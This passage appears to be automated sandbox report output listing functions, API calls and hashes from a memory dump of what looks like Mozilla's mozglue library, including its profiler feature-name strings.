Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 43f9fa6d3aabab5a5fa9eca44354172e12a3109f82567356b8cd2d7003f5f0d5
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: F8323532B046118FC718DE2CC890A5ABBE6AFC9314F49866DE895CB399D734ED05CB90

Function 6CAC545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAC8A4B

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 5d4bbd1d21527e86be00c077c7ee4a88e67c455fbc79a1cc930cf1c62c96f319
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 30B1D572B0021A8FDB14CF68CD907E9B7B2EF95314F1802A9D549EB791D730A9C9CB91

Function 6CAC542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAC88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAC925C

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 27a2fb67f438d51052aa138dbf122c529cdedb4cef27a61e48ca9a4ce6d7a26f
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: E9B1C472F0120ACBCB14CF68CD816E9B7B2EF95314F180269C949EB785D734A9D9CB91

Function 6CAC50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAC8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAC925C

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: a2071a45be7d6a24d81fb9ef18827cee8d5bf5b7d45cd88faf49f9d1758d0bd7
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: DDA1D672B002168FCB14CF68CD807D9B7B6AF95314F1902B9C949EB785D730A9D9CB91

Function 6CAA77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAA7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAA7A93

Part of subcall function 6CA75C50: GetTickCount64.KERNEL32 ref: 6CA75D40
Part of subcall function 6CA75C50: EnterCriticalSection.KERNEL32(6CADF688), ref: 6CA75D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAA7AA1

Part of subcall function 6CA75C50: __aulldiv.LIBCMT ref: 6CA75DB4
Part of subcall function 6CA75C50: LeaveCriticalSection.KERNEL32(6CADF688), ref: 6CA75DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CAA7B31

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 2bbca310fee74561bb4892e3913f37d1a4ec99fdacf82c0a52cf35fe1dc1a9fc
Instruction ID: d2a23e56384b0ca4c6606feb2cf4f4525e494777f94b6f7b2a288572c949f5bb
Opcode Fuzzy Hash: 2bbca310fee74561bb4892e3913f37d1a4ec99fdacf82c0a52cf35fe1dc1a9fc
Instruction Fuzzy Hash: B2B1A0356083418BCB18CFA4C55065FB7E2BFC9318F194A1CE995A7794DB70E98BCB82

Function 6CA96CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA96D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA96E1E

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: dfbc98747430572f49b170965db8ed1b1fb8d9551d6817fe45d94886544d0935
Instruction ID: 27e51706d8ba78cd12edf463f7246db14b91bdd47586f23b06c1286402ac7410
Opcode Fuzzy Hash: dfbc98747430572f49b170965db8ed1b1fb8d9551d6817fe45d94886544d0935
Instruction Fuzzy Hash: 9BA17C706183858FCB15CF24C5917AEFBF2BF88308F44895DE48A87751DB70A989CB92

Function 6CABB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CABB720
RtlNtStatusToDosError.NTDLL ref: 6CABB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CA8FE3F,00000000,00000000,?,?,00000000,?,6CA8FE3F), ref: 6CABB760

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 588b2dc253a963608b15a14e83f59368d869724391c1fd47b683cc8c25922b58
Instruction ID: 0468bbcfb0e3b0e51fe96bf1019ee8e50183b7e9891ce89e8be14d0804dee03a
Opcode Fuzzy Hash: 588b2dc253a963608b15a14e83f59368d869724391c1fd47b683cc8c25922b58
Instruction Fuzzy Hash: 3CF0A9B0A4120DAEEF019AA2ECC4BEEB7BCDB0831EF145229E511716C0D774A5CCCB61

Function 6CA74640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA74777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA75585, 6CA755A8, 6CA755C3, 6CA75624

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 7c8519194927e838459be7b0b6015f01f9bd39df2a20e9e4611ee07cfca723d9
Instruction ID: 10a5699f44d09fb57b2cc7f3ce542846a1e63ccfead9a5867ebceb43b4aa1e86
Opcode Fuzzy Hash: 7c8519194927e838459be7b0b6015f01f9bd39df2a20e9e4611ee07cfca723d9
Instruction Fuzzy Hash: 5DB27C75A056018FD328CF19C590715BBE2BFC5328F2DC7ADE46A8B6A5D731E881CB90

Function 6CAB85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAB8C7C
__aulldiv.LIBCMT ref: 6CAB8DD7

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: b224eadc9d843f6bc15b03c793b9eec6746ea55c3bbed77387a2f94bff74f1b1
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 09328E71F0111A8BDF18CE9DC8A17EEB7B6FB88300F15853AD406BB790DA349D858B91

Function 6CABB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CA603D4,?), ref: 6CABB955
NtQueryVirtualMemory.NTDLL ref: 6CABB9A5

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 65cf2ce6c7a2ba33ff7c5274f6e80a07f369454664b9bcb9e85c86c8ca8cef3f
Instruction ID: 651049e2189836a96c60eba558e67adbb401c5a7e6d98a08238d4d796d1bc294
Opcode Fuzzy Hash: 65cf2ce6c7a2ba33ff7c5274f6e80a07f369454664b9bcb9e85c86c8ca8cef3f
Instruction Fuzzy Hash: 5541BA71F0121D9FDF04CFA9E9805DEB7B9EF84314F148229D515B7744DB30A9898B91

Function 6CA95C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA64A63,?,?), ref: 6CA95F06

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 61c0c9f577d0b4258a18d81d2980d1dca6d83028047ec794b2a11c3cb636a2b6
Instruction ID: 063f9bfa21352fef6d9ed3054d8573dcd507e469fcdc7bfa6cf5f8cd6e0098a2
Opcode Fuzzy Hash: 61c0c9f577d0b4258a18d81d2980d1dca6d83028047ec794b2a11c3cb636a2b6
Instruction Fuzzy Hash: 22C1C475D112098BCB04CF99C5926DEBBF2FF8A319F28425DD8556BB44D732A886CB80

Function 6CA5DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be4e5b72f304ea3e1e602b98542aadf27fead16760413fa7af78943ed402859a
Instruction ID: 0ece3c21561ffb6ed9884392b4a090f0bdb39e5e849870077b3d3496d56d1a4a
Opcode Fuzzy Hash: be4e5b72f304ea3e1e602b98542aadf27fead16760413fa7af78943ed402859a
Instruction Fuzzy Hash: C642C672A087518BD308CE3CC49035AF3E2BFC9354F498B2DE999A7795D734D9918B81

Function 6CAC76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 48138837d7776ac4a5d2df92ebcc872ca136d5879b3e5112d2d1f7e33248101d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 81320771E006198FCB14CF99C980AADFBB2FF88304F688169C959E7745D731A986CF91

Function 6CAC6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 53d0f4920d991eb0580bcad199838bc8997a28d17b27a82cfca41702efcd4b3a
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 0922E771E006198FCB14CF99C980AADF7B2FF88304F6885AAC549E7745D731A986CF91

Function 6CA80512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: c03457dd799cca65ac3f3b0aee641605c2a7866bb957fd9bae92f1793db50b71
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: D5222775E01619CFCB24CF98C890AADF7B2FF89304F588699C55AA7705D730A986CF90

Function 6CACAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98cd028825ff994fd4a7d9c235bca6d8e4c5606bdaf1b7b26afb7057c7571351
Instruction ID: 43040e33a2e0160b1eded6951ecfa2ec096336d8276a6176b8c36aae90fe76ec
Opcode Fuzzy Hash: 98cd028825ff994fd4a7d9c235bca6d8e4c5606bdaf1b7b26afb7057c7571351
Instruction Fuzzy Hash: 36F1F071B087458FD700CE68C8913AAB7E2AFC5318F188A2DE8D587781E7759CC98793

Function 6CA5C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: a982340745d01ec83036698a824afb780bafa8ceada63898e5c43a8ca192e9e3
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: E6A1AE71F0021A8FDB08CE69C8913AEB7F2AFC8358F588129D915E7785DB349D568BD0

Function 6CA97710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 0f9d4ba1195b87128837f27e9f9f168c93de73eb9a7ab13b684b603550c848a7
Instruction ID: 53f58f275d121bb5e36f92cdc847ddd209179cc7b53908545fc893e8e44f6183
Opcode Fuzzy Hash: 0f9d4ba1195b87128837f27e9f9f168c93de73eb9a7ab13b684b603550c848a7
Instruction Fuzzy Hash: A3715C75E112198FCB08CF98D8915EDBBF2FF89314F28812ED415AB740D731A985CBA0

Function 6CA958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 9c47f87571ca525176a1955bc792d412c925935afb0c2f6b9771d5330baef7b7
Instruction ID: 1f0b8e62256ca66b9da1abe399c5d2d0735e391a5cd8b497e3722a2c83fc424c
Opcode Fuzzy Hash: 9c47f87571ca525176a1955bc792d412c925935afb0c2f6b9771d5330baef7b7
Instruction Fuzzy Hash: C0818C75A112199FCB04CFACD8819EEFBF2FF89314F248229D511AB741D731A985CBA0

Function 6CA9CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA6582D), ref: 6CA9CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA6582D), ref: 6CA9CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CACFE98,?,?,?,?,?,6CA6582D), ref: 6CA9CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA6582D), ref: 6CA9CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA6582D), ref: 6CA9CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA6582D), ref: 6CA9CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA6582D), ref: 6CA9CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA9CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA9CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA9CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA9CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA9CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA9CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA9CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA9CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA9CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA9CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA9CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA9CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA9CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA9CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA9CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA9CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA9CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA9CE8A

Strings

java, xrefs: 6CA9CC37
markersallthreads, xrefs: 6CA9CE42
Unrecognized feature "%s"., xrefs: 6CA9CEA0
processcpu, xrefs: 6CA9CE6E
mainthreadio, xrefs: 6CA9CC7C
power, xrefs: 6CA9CE84
notimerresolutionchange, xrefs: 6CA9CE00
preferencereads, xrefs: 6CA9CD92
unregisteredthreads, xrefs: 6CA9CE58
ipcmessages, xrefs: 6CA9CDBE
stackwalk, xrefs: 6CA9CCF8
cpuallthreads, xrefs: 6CA9CE16
samplingallthreads, xrefs: 6CA9CE2C
fileioall, xrefs: 6CA9CCA8
screenshots, xrefs: 6CA9CCD4
noiostacks, xrefs: 6CA9CCBE
nostacksampling, xrefs: 6CA9CD7C
jsallocations, xrefs: 6CA9CD0E
nativeallocations, xrefs: 6CA9CDA8
fileio, xrefs: 6CA9CC92
default, xrefs: 6CA9CC21
leaf, xrefs: 6CA9CC66
audiocallbacktracing, xrefs: 6CA9CDD4
